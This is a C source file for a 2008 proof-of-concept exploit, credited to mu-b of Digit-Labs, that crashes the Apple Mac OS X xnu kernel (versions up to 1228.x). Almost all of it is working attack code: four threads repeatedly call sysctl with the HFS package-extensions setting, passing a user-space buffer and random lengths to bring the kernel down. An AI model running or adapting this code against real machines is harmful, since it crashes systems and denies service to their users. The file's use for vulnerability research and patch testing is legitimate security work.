/* xnu-vfssysctl-dos.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.x local kernel DoS POC
* by mu-b - Wed 19 Nov 2008
*
* - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <hfs/hfs_mount.h>
#include <pthread.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <unistd.h>
void
hammer (void *arg)
{
char buf[1024 * (255 + 1)];
int n, name[6];
memset (buf, 0, sizeof buf);
while (1)
{
name[0] = CTL_VFS;
name[1] = 17;
name[2] = HFS_SET_PKG_EXTENSIONS;
name[3] = (int) buf;
name[4] = 1024;
name[5] = (rand () % 254) + 1;
n = sysctl (name, 6, NULL, NULL, NULL, 0);
usleep(10);
}
}
int
main (int argc, char **argv)
{
int i, n, tid;
printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
for (i = 0; i < 4; i++)
{
n = pthread_create (&tid, NULL, hammer, NULL);
if (n < 0)
{
fprintf (stderr, "failed creating hammer thread\n");
return (EXIT_FAILURE);
}
}
while (1)
sleep (1);
/* not reached! */
return (EXIT_SUCCESS);
}
